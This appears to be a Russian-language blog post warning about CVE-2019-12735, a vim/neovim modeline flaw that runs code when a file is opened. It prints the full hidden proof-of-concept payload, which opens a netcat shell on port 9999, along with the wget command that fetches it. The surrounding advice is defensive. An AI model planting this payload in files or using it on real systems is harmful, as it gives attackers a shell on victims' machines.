Открываем незнакомые файлы с осторожностью даже текстовым редактором!

Многим известно, что запускать неизвестного происхождения файлы небезопасно, но сколько человек при этом открывает незнакомые текстовые файлы, например, в текстовом редакторе? Особенно если это Linux и какой-нибудь проверенным временем текстовый редактор vim/emacs! Что может случиться?

Краткое описание недавней уязвимости в vim

Не хочу вдаваться в технические подробности дырки, которую нашли в текстовом редакторе vim, об этом написано немало статей (уязвимости присвоен номер CVE-2019-12735), но хочу рассказать о том, какую опасность это несёт и почему надо быть предельно аккуратным даже с такими, казалось бы, базовыми инструментами.

Вектор атаки: вам присылают файлик, вы его открываете в vim, а тем временем у вас на компьютере выполняется код. Например, качается с удаленного сервера бекдор и устанавливается в систему. Причем вы даже не видите целиком содержимого файла, вся выполняемая конструкция замаскирована и не отображается.

Демонстрация экслоита

Рассмотрим один из экслоитов для vim.

Скачаем сам эксплоит:

$ wget https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt

А теперь попробуем его прочитать, например, утилитой cat:

$ cat shell.txt
Nothing here.

А вот что в файлике находится на самом деле:

$ cat -v shell.txt
[?7lSNothing here.:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: Nothing here." 

То есть вы качаете незнакомый файлик, открываете его в уязвимом текстовом редакторе и у вас открывается шелл на 9999-порту и делай дальше с вашей машиной что хочешь :)

Выводы

Открытие незнакомых текстовых файлов даже в текстовых редакторах может быть опасным.

Если вы не доверяете источнику, с которого скачен файл, лучше запустить его в изолированном окружении вроде виртуальной машины, или тестовой vps.

Как вариант — добавьте в ваш шелл (например, ~/.zshrc) следующий alias, чтобы хоть как-то обнаружить возможную маскировку шелл-кода в незнакомом файле. При условии что это не эксплоит к утилите cat, или терминалу :)

alias cv='cat -v'

Ну и конечно же не забывайте обновлять всё ПО и ОС на всех ваших девайсах.